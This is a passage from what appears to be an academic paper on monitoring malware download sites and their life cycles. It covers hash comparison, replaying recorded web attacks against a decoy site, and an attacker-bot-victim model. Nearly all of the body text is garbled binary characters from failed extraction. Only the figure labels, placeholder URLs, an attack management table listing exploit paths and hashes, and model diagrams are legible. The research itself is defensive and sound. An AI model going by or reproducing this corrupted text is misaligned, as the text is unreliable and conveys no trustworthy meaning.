��� �#$��� +#�!�� �� ��� 012 �� ���� �#$��� ��$�#��� �	�� �/  � ������ ��� ��+#�!��

 / ������� C#�� ��	� �!�	�� $��#� �������� � ��#�� +��	�	�� ?E�@ 	� $�	!� �!!��� �� ����

012 	� ���������#/ ����!��� �� +��� �� �� ����!7 ��� C#����� ���� ����
 $� +�	�� ��� ����

� �#$��� ��$�#��� �	�� �/ �#��  �  #�!7#	���� 	� ���� �� 	�� ���	� �� �� ������� 	�

���	�	�� �� 	�� 012� ��	� ���� ���� � ��#�� +��	�	�� 	� $�	!� �!!��� �� �## ����	!�� +���	���

- AA -



������� /	 )�������� -���� #����� )��� �� )������� �������� �! ���������

 / ���� �	�� 	� C#����� ����

"	�!� � ����	!� +���	��� ����##/ �	�!����� ���� �#$��� ���  ��� ��#���� ��� � !����	�

�#$��� ��$�#��� �	��  /  �	�� ��#� ��	�  / �����
 ��� �� #�!7#	��� ��� �	��H� 012
 � ��#��

+��	�	�� �>	��� ���	�� ��� �	� +��	�� ��� �#$��� ��#��	�� �� 012 �����#� :�� $�/ ��

��#�� ��	� +�� #� 	� �� +��	��	!�##/ ���� ��� � +�� � �� � ��	� ��� �#$��� �� ���� �#$���

��$�#��� �	�� �� !��C� 	�� +�����!� ������ ��$����
 ��� ����!7�� ����� ��� �����	��	��

�� ��	� +�� � ��� ��� ��� �#$��� �� ������� �	�� �� !����� � ��$ �#$��� ��$�#��� �	��

��� !���	��� ��� ����!7 �A��� �� ��	� !���
 ��� ����	!� +���	��� $	## ���  � � #� �� ����!�

���� ����!7 ���	# ��� ��$ �#$��� ��$�#��� �	�� 	� �	�!������  / � ����/+��
 $�	!� $	##

���� ��� �G�!� �� #�$��	�� ��� ���� +��	�	�� �����

�� ��#�� ��	� +�� #�
 ��� ����	!� +���	��� ����� �� ���� ��� � +�� � �� ��� �#$���

��$�#��� �	�� �� �	� 	������#� ���� +������ ��� ����!7�� ��� ����	�� ��� +�� �< ��	� $	##

	�		J� ��#�� +��	�	��� ���� ��� �>		J� ���� +��	�	��� ����� ��� +��	�	�� +���	!�	�� ��#��

?��� @ 	��	!���� ��� +�� � 	#	�/ ���� �  #�!7#	���� 012 	� �!���##/ � �#$��� ��$�#���

�	��< � #����� ��#�� 	� +������ #��

��� L
���

���T ���
?A��@

$���� ��� 	� ��� ���� +��	�	�� ���� ��� ��� 	� ��� ��#�� +��	�	�� �����

/�� )������
� 0��������! *�&	�	

3���� ����	� ���� �� 0����������� &��������	 )�����

��#$��� �� �#$��� ��$�#��� �	��� �/  � ��#���� �� ��+#�!��  / ����!7��� �� $� �	��

������� $���� $� �	��� ���  �	�� ���� 	##���##/  / ����!7���� ��� +��	�� $	��	� $�	!�

� �#$��� +����� 	� #�!���� �� � �#$��� ��$�#��� �	�� 	� !�##�� ��� #	�� !/!#� �� ���

�#$��� ��$�#��� �	�� 	� ��	� $��7� �� �#$��� ��$�#��� �	��� $���� #	�� !/!#�� ����

C�	���� ?	���
 � �#$��� +����� �� � �#$��� ��$�#��� �	�� $�� ��#����@ ���	� 	� ���

C#���	�� #	��
 ��� #	��  �!��� ���� ��� 	�!������ ��� C#���	�� #���� �� ���	�	��
 	� � �#$���

- A5 -



/	� )�������� 0�������� #�����

Internet

Malware download site

(http://host#3/d-A/d-B/d-C/file-

a)

Malware_A

Malware download site 

(http://host#5/d-V/d-D/d-H/file-c)

Malware_B

Malware_C

Site monitoring system

Manage URLs of malware 

download sites and hash values 

of malware located on each 

malware download site

hash#101
hash#025

hash#487

Malware download site 

(http://host#7/d-N/d-O/d-R/file-q)

http://host#3/d-A/d-B/d-C/file-a
http://host#5/d-V/d-D/d-H/file-c

http://host#7/d-N/d-O/d-R/file-q

URL of malware download site Hash value

Malware_A

Malware_B

Malware_C

Get files from each 

malware download site

Calculate hash 

values

hash#101

hash#025

hash#487

Compare values
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����/ 	� ��� ����!7 �������� #	�� ��� ��� ���	C�� 	������	�� ��� ���� ��� ��	���	��

	������# ��� ��!� ����/
 �� ���$� 	� E	�� A�(�

��� �	�� ��	���	�� ���!�	�� ��$�#���� C#�� ��� ��!� �#$��� ��$�#��� �	�� �!!���	��

�� ��� 	������# ���!�	 ��  / ��!� �#$��� ��$�#��� �	�� 	� ��� ����!7 �������� #	��� ��

��� �	�� ��	���	�� �/��� !����� ��$�#��� ��/ C#�� ��� � �#$��� ��$�#��� �	��
 	�

��#���� ��� ����/ �� ���� �	�� ��� ��� ����!7 �������� #	�� ��� ������ ��� 012 ��

���� �	�� ��� ��� C#���	�� #	��
 $�	!� 	� #�!���� 	� ��� C#���	�� ���!�	��� �� ��� �/��� !��

��$�#��� � C#� ��� � �#$��� ��$�#��� �	��
 ��� �/��� !�#!�#���� ��� ���� ��#�� �� ���

��$ C#� ��� !�+���� 	� $	�� ��� ���� ��#�� ���!�	 �� 	� ��� ����!7 �������� #	�� ����/

	� $�	!� ��� �#$��� ��$�#��� �	�� 	� ���!�	 ��� �� ��� ��#��� ��� ��� ���
 ��	� 	��	!����

���� � �#$��� +����� ���  ��� #�!���� �� ��� �#$��� ��$�#��� �	�� ���	� �	�!� 	�� C���

��$�#���
 �� ��� �	�� ��	���	�� �/��� ������ ��� ��>� 	������#� :� ��� ����� ����
 	�

��� ��#��� ��� �	G�����
 ��� �/��� ����� ��� ��$ C#� ��� �� �>+#�	� !���
 ���!�	 �� 	� ���

����!7 �������� #	�� ����/ 	� $�	!� ��� �#$��� ��$�#��� �	�� 	� ���!�	 ��
 �� � $� 

����!7 ���#/J��� ��� $� ����!7 ���#/J�� ����� ��� ����!7 �� � ��!�/ $� �	��  / ��	�� ���

�>+#�	� !���� �� ��	� !���
 ��� ��!�/ $� �	�� ����� � C#� ��$�#��� ��F����O ���������
 ���

$� ����!7 ���#/J�� ����� ��� ��$ C#� �� ��� ��!�/ $� �	�� �� � C#� ��$�#��� ���+�����
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Site monitoring system

Attack 

management list

Web attack analyzer

Copy of decoy 

website

URL of malware download sites Exploit codes Hash values Intervals

http://host#3/d-A/d-B/d-C/file-a http://host#1/set.php?dir= hash#101 10
http://host#5/d-V/d-D/d-H/file-c http://host#1/board/login.php?id= hash#025 5

http://host#7/d-N/d-O/d-R/file-q http://host#1/set.php?dir= hash#487 3

Attack management list

2) Send file 

whose hash 

value is 

different from 

list

3) Replay attack by 

using list information and 

new file and judge 

whether file is malware

4) Send the result

5) If file is malware, hash value of list 

is update. If file is not 

malware, delete entry in list and 

filtering list on filtering function

1)Download 

files from each 

malware 

download site 

by each interval

E	���� A�(< ���+���� �!���

6���� ����
 ��� $� ����!7 ���#/J�� !�� !��C� $������ ��� C#� 	� �#$���  / ��	���	��

��� �!�	��� �� ��� ��!�/ $� �	��
 ��� ��� $� ����!7 ���#/J�� ����� ��� ���#/�	� ����#� �� ���

�	�� ��	���	�� �/���� �� ��� C#� 	� ��� �#	!	���
 ��� �	�� ��	���	�� ���!�	�� ��#���� ���

����!7 �������� #	�� ����/ 	� $�	!� ��� �#$��� ��$�#��� �	�� 	� ���!�	 �� ��� ������

��� 012 �� ���� �	�� ��� ��� C#���	�� #	�� 	� ��� C#��� ���!�	��� :� ��� ����� ����
 	� ���

��$ C#� 	� �#$���
 ��� �/��� �+����� ��� ���� ��#�� �� ��� ����!7 �������� #	�� ����/

	� $�	!� ��� �#$��� ��$�#��� �	�� 	� ���!�	 ���

����
 	� ��� +��+���� �!���
 �>+#�	� !���� ��� �#$��� 	���!�	�� ��� ��!����� �� ��+#�/

����!7�  / ��	�� �� �>+#�	� !��� ��� � ��$ C#�� )/ ��	�� ��	� �!���
 � C#���	�� ����	!�

�� � !#��� !�+��	�� ���	������
 �� $�	!� � #���� �� �� �� $� �	��� ��� ���
 !��  �

+���	��� ������	!�##/ �!!���	�� �� ���� �����  / !��+#	�� � $� ����/+��
 $� ����!7

���#/J��
 ��� �	�� ��	���	�� �/����
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/	� )�������� 0�������� #�����

�� #� A�,< 1���#�� �� C��� 	�����	���	��

�� �� �� �	��� ���� ��+#�!�� 2	�� !/!#����/��
���	� �#$��� +����� �	�� 6��� ��>�

A4 . �5�A ,�,

3���� �������	����� ��( ��������

2� �� !���� !��  � !�� $	�� ��� +��+���� �!���
 $�	!� ��	���� #	�� !/!#�� �� �#$���

��$�#��� �	��� ��� ������	!�##/ �+����� � C#���	�� #	��� �� ���#���� 	�� �G�!�	������
 $�

C��� 	�����	����� �#$��� ��$�#��� �	���
 ��� $�	!� ��� +��+���� �!��� 	� ������
  /

����#�+	�� � +�����/+� �/��� �� +��� �� ��� +��+���� �!��� ��� !����!�	�� ��� �/���

�� ��� ��������� �� �#�� 	�����	����� ��� #	���!/!#� !����!���	��	!� �� �#$��� ��$�#���

�	����

�� ����� 	�����	���	���
 �� �	���	�����!�	�� $� ����/+���
 �� $�	!� � ��!�/ $� �	��


!�����##��
 ��� C��$�## $��� ��+#�/�� �� � �	����# �!�	�� �� � +�/�	!�# ������
 $��� #�!����

�� , �	G����� �������  #�!7�
 ��� �#$��� ��� ��� ��������  ��$��� 8�����/ (.
 ,..' ���

���!� (�
 ,.�. $��� !�##�!����

3���! 
���� �������	�����

�� #� A�, #	��� ��� �� �� �� �#$��� ��$�#��� �	��� �� $�	!� �#$��� +������ $���

��+#�!�� ��� ��� #	�� !/!#�� �� ����� �	���� �� !��C��� #	�� !/!#�� ����/ ��/� �� ���	�	��


��� #	�� !/!#�� �� �#$��� ��$�#��� �	��� �� $�	!� �#$��� +������ $��� #�!���� �� ���!�

(�
 ,.�. $��� !�� �� ���� ��/�

�� �� #� A�,
 � #	�� !/!#� �F��#	�� . ���$� ���� � �	���	�����!�	�� $� ����/+�� !��#� ���

��$�#��� �#$��� ��� � �#$��� ��$�#��� �	��� ��	� ���$� ���� ����!7 �		�� ��  ���


$�	!� �������� ��/ ����!7� �� $� �	��� ��	�� ������	! ����!7 ���#�
 ����	�� ���� ���

!�����+��� �� ��� #	�� !/!#�� �� �#$��� ��$�#��� �	���� 6� ���$� 	� �� #� A�,
 ����� $���

A4 �#$��� ��$�#��� �	��� �� $�	!� �#$��� +������ $��� ��+#�!��� :� ��� �� �����

�	���
 �#$��� +������ $��� ��+#�!�� ����/ ��/� ��	� !��#�  �  �!���� ����!7��� ��	�� ��
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E	���� A�4< 2	�� !/!#�� �� �#$��� ��$�#��� �	���

!��!��# ���	� �#$��� +������ ��� ���	� ����!7 +#�����
 ��!� �� �#$��� ��$�#��� �	���


��� ���	��	��� ����$��� ��� ��!��	�/ �������� �� ��	� 	�����	���	��
 �## �#$��� +������

$��� ��+#�!�� ��� $	�� ����# C#��  �� $	�� ����� �#$��� +������� ��� ���!�	��� ��

��� �� ����� �#$��� +������ $��� �����	!�##/ !������� E�� ����� ����#��
 ��� +��+����

�!���
 $�	!� !�� �/��	!�##/ ���#/J� C#��  / ��+#�/	�� ����!7�
 	� ��!�����/ �� ���# $	��

��� !����� 	� �#$��� ���!�	����

3���1 )����( �������	�����

�� 	�����	����� ��� #	���!/!#� !����!���	��	!� �� �#$��� ��$�#��� �	���� �� !#��	�/ ���

���	�� ��� ��	���	�� 	������#
 $� C��� 	�����	����� ��� !��#��	�� �	���	 ��	�� ���!�	��
 ��

���$� 	� E	�� A�4� ���/ �#$��� ��$�#��� �	��� ��� ���������  / 	##���##/ ��	�� #��	�	���

$� �	���� �� ����� $� �	���
 ����� 	� � +�� � 	#	�/ ���� �#$��� $	##  � ��#����  / ���	��	���

����$��� 	����##��  / $� �	�� �������� ���������
 ��� #	�� !/!#�� �� �#$��� ��$�#��� �	���

�/ ��+��� �� ��� 	����## !���	�	��� ��� ����!�	�� ���	�� �� ���	��	��� ����$���� �� !#��	�/
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/	� )�������� 0�������� #�����

�� #� A�(< 1�#��	����	+�  ��$��� #	�� !/!#�� �� �#$��� ��$�#��� �	��� ��� !����!���	��	!�
�� �#$��� +������

�/+�� �� ����!�	�� ����#� �� �� �� �� �	��� ���� ��+#�!�� 2	�� !/!#� ���/��
�#$��� ���	��	��� ����$��� ���	� �#$��� +����� �	�� 6��� ��>�

)�� ��� ����!��� A4 . �5�( ,�,
��������� ����!��� . ' 4.�* �'5

:���� ��� ����!��� . , (=�( �,.
�#$��� ����!��� . , (.�5 *=

��	�
 $� 	�����	����� ��� ��#��	����	+  ��$��� ��� #	�� !/!#�� �� �#$��� ��$�#��� �	��� ���

��� !����!���	��	!� �� �#$���
 ��+�!	�##/ $������ ���	��	��� ����$��� !�� ����!� �#$����

��� ����#�� ��� #	���� 	� �� #� A�(� �� !�+���� ��� #	�� !/!#�� �� �#$��� ��$�#��� �	���

�� $�	!� �#$��� ��� �������	��  ��� 	� #�!���� $	�� ��� #	�� !/!#�� �� �#$��� ��$�#���

�	���
 �� $�	!� �#$��� ��� ����� �	�
 ����
 ����	�� ������� �� ����!7���
 ����	�� ������

	������	�� ��!� �� 7����# ����	�� �� ����!7���
 ��� ��$�#���	�� ����� �#$��� +������

��!� �� � ��$�#�����
 	� #�!����� �� ���	�	��
 ��!� �#$��� +����� $�� !��!7��  / ���	�

�	��� ����$��� ��� �	��	���	���� �!!���	�� �� ��� ����!�	�� ����#���

��� !��#��	�� �	���	 ��	�� ���!�	��
 �� ���$� 	� E	�� A�4
 	� �>����#/ �		#�� ��

��� !��#��	�� �	���	 ��	�� ���!�	�� �� � ����# $� +��� �A,�� ��	� ����#� ���$� ����

��� ��	���	�� 	������# �� �#$��� ��$�#��� �	��� !��  � ���	���� ��	�� �#���	��� ���

�����	�	�� ��� !��$#	�� 	������# �� $� +��� !��$#���� 3��$#	�� �/���� !�� F�	!7#/

����!� �+����� $� +����  / �/��	!�##/ ��K���	�� ��� !��$#	�� 	������#  / ��!� $� +���

�!!���	�� �� ��� �+���� ���F���!/ �� ��!� $� +���� ���������
 	� 	� �����# �� ��K��� ���

��	���	�� 	������# �� �#$��� ��$�#��� �	��� �!!���	�� �� ��� !����� ���F���!/ �� ���

���� ��#��� �� �#$��� #�!���� �� ��!� �#$��� ��$�#��� �	���

6� ���$� 	� �� #� A�(
 �� �#$��� ��$�#��� �	��� �� $�	!� �#$��� +������ �>!�+�

 �� ���������� $��� #�!����
 ��#/ �#$��� +������ ��� ����!���  / ���	��	��� ����$���

$��� ��+#�!��� �� ��	� 	�����	���	��
 ��� #	�� !/!#�� �� �#$��� ��$�#��� �	��� �� $�	!�

����� �#$��� +������ ��� #�!���� ��� �		#�� �� ����� #	���� 	� �� #� A�,� ���������


����� �#$��� ��$�#��� �	��� ��� ��� ��� !���� :� ��� ����� ����
 �� �#$���
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��$�#��� �	��� �� $�	!�  �� ���������� ��� #�!����
 �� �#$��� +������ $��� ��+#�!���

�� ���	�	��
 ��� #	�� !/!#�� �� �#$��� ��$�#��� �	��� $��� #����� ���� ����� #	���� 	�

�� #� A�, 	����+�!�	�� �� ��� ����!�	�� ����#�� ��� ���	��	��� ����$����

����
 #	�� !/!#�� �� �#$��� ��$�#��� �	��� ��� ��� �G�!���  / ��� ����!�	�� ���	� �� ���	�

�	��� ����$��� ��� ��� �/+� �� �#$��� +������ ���������
 ��� ����#�� �� ��� 	�����	���	���

�/ ��� !����� �!!���	�� �� ��� �+���� �� ���	��	��� ����$��� �� $� �	����

3���3 ���������

�� ��� 	�����	���	���
 �� �#$��� +������ �� �#$��� ��$�#��� �	��� $��� ��+#�!�� $	��

����# C#��� ��$����
 	� � �#$��� +����� 	� ��+#�!�� $	�� � ����# C#�  / $� �	��

������� �� �����
 ��� C#���	�� #	�� ����#�  � F�	!7#/ �+����� �� �� ��� �� C#��� �!!�����

�� ��� ����# C#�� :� ��� ����� ����
 $� !��C��� ���� ��/ �#$��� +������ ���

��+#�!�� $	�� ����� �#$��� +������� ��	� �/  � !�����  / ����!7��� $�� $��� ��

���	� ����!�	��  / ���	��	��� ����$���� :�� +��+���� �!��� 	� �G�!�	��  �!���� 	� !��

�/��	!�##/ ���#/J� � ��$ C#� $	����� ��� ���� ��� ����# ���#/�	��

��� #	�� !/!#�� �� �#$��� ��$�#��� �	��� ��+��� �� ��� �!�	��� �� ����!7���� E��

�>�+#�
 ����!7��� ��+#�!� �#	!	��� $� �	���
 $�	!� ��� #� �#$��� 	���!�	�� �� � ����H�

���	��# �	� ��� ����H� $�  ��$���
 	� ��� ����� ��� �� ���	� �#$��� ����!�	��  / ���	�

�	��� ����$���� ���������
 ����!7��� �/ !����� ��� #	�� !/!#�� �� �#$��� ��$�#��� �	���

���+	�� ��� #	�� !/!#�� �� �#$��� ��$�#��� �	��� ��!���#/  �	�� ��� ��� �� ����� �� ����#

$� +����� �� !�����+��� $	�� ����� ������
 	�����	���	�� �� ����	��	!�# ���� �� #	�� !/!#��

	� 	+������� 6��	�	���##/
 	������# #����	�� ���!�	���
 $�	!� !�� ��K��� ��� ��	���	��

	������# ��� �#$��� ��$�#��� �	��� �!!���	�� �� ��� ��	�� 	� ��� �	���	 ��	�� !����!���	��	!�

�� #	�� !/!#��
 $	##  � �G�!�	���

3���4 0��������

�� +��+���� �� ������	! #	���!/!#� ��	���	�� �!��� ��� �#$��� ��$�#��� �	��� ��

$�	!� �#$��� 	� #�!����� �� ���	�	��
 $� ��+����� ��� ����#�� �� ��� 	�����	���	�� �� ���
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Attacker A

Bot B1 Bot B2 Bot B3

Malware

Malware download site

Web 
honeypot

Website

Attacker V

Attacker A
Executes attacks at fixed rate α.

Attacker A
Begins using bot at rate ζ
and stops using bot at 
rate η.

Probe 
transmit 
function

Victim V
Transmits probe at 
rate γ (detects bot 
termination at rate 
g(γ)).

Website

Victim V
Discovers attacks and identifies bots used 
as malware download sites at rate β.

Attacker A
Senses probe at rate 
f(α, γ) (stops using bot).

Total number of bots: N

E	���� A�*< 6��#/�	� ���#
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(1,0,…,0,0,…)

(1,0,…,1,0,…) (1,1,…,1,0,…)

(1,1,…,0,0,…)(0,0,…,0,0,…)

(0,0,…,1,0,…)

(1,0,…,1,1,…)(0,0,…,1,1,…)

State: denoted as (B1, B2, …, l1, l2, …)
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